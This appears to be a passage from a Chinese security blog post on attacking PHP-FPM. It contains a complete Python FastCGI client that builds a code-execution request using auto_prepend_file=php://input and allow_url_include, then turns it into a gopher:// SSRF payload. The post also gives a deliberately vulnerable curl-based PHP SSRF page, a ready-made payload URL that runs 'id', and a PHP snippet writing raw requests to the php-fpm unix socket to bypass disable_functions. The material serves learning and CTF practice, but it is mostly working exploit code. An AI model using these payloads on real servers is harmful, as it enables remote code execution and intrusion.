#!/usr/bin/python # -*- coding:utf-8 -*- import socket import random import argparse import sys from io import BytesIO from six.moves.urllib import parse as urlparse # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client PY2 = True if sys.version_info.major == 2 else False def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i]) def bord(c): if isinstance(c, int): return c else: return ord(c) def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict') def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s class FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False #return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) # 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request #self.sock.send(request) #self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND #self.requests[requestId]['response'] = '' #return self.__waitForResponse(requestId) return request def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } # 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了 #response = client.request(params, content) #print(force_text(response)) request_ssrf = urlparse.quote(client.request(params, content)) print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)
给出ssrf的测试代码如下:
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>
安装下curl扩展:
sudo apt-get install php7.3-curl
然后在
/etc/php/7.3/fpm/php.ini
去掉 ;extension=curl
前面的分号,重启php-fpm即可
然后生成payload直接打就可以了。
http://10.211.55.21/ssrf1.php?url=gopher://127.0.0.1:9000/_%01%01%A7L%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7L%01%D8%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%16SCRIPT_FILENAME/var/www/html/test.php%0B%16SCRIPT_NAME/var/www/html/test.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%16REQUEST_URI/var/www/html/test.php%01%04%A7L%00%00%00%00%01%05%A7L%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05%A7L%00%00%00%00
这里需要在urlencode编码一次,因为这里nginx解码一次,php-fpm解码一次。
ok,成功实现了代码执行。
这里还可以介绍一个ssrf的利用工具的用法: Gopherus
1.python gopherus.py --exploit fastcgi
2.
然后同上进行利用就好了
前面已经说过了unix类似不同进程通过读取和写入/run/php/php7.3-fpm.sock
来进行通信
所以必须在同一环境下,通过读取/run/php/php7.3-fpm.sock
来进行通信,所以这个没办法远程攻击。
这个利用可以参考*CTF echohub
攻击没有限制的php-fpm来绕过disable_function
攻击流程:
<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock'); fputs($sock, base64_decode($_POST['A'])); var_dump(fread($sock, 4096));?>
这个原理也很简单就是通过php stream_socket_client
建立一个unix socket连接,然后写入tcp流进行通信。
那么这个可不可以进行ssrf攻击呢 答案是否定的,因为他没有经过网络协议层,而ssrf能利用的就是网络协议,具体可以看我上面介绍unix 套接字原理。
当然不排除有些ssrf他也是利用unix套接字建立连接的,如果引用的是php-fpm监听的那个sock文件,那也是可以攻击的,但是这种情况很特殊,基本没有这种写法,欢迎师傅有其他想法跟我交流下。
这篇文章前前后后写了挺久的,感觉有些内容讲的和理解的还不是很深刻,这篇文章出发点还是为了更好的简单了解下php-fpm的攻击方式,后面我会针对这篇文章遗留下来的问题,再深入研究和学习下。
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
PHP 连接方式&攻击PHP-FPM&*CTF echohub WP
nginx 和 php-fpm 通信使用unix socket还是TCP,及其配置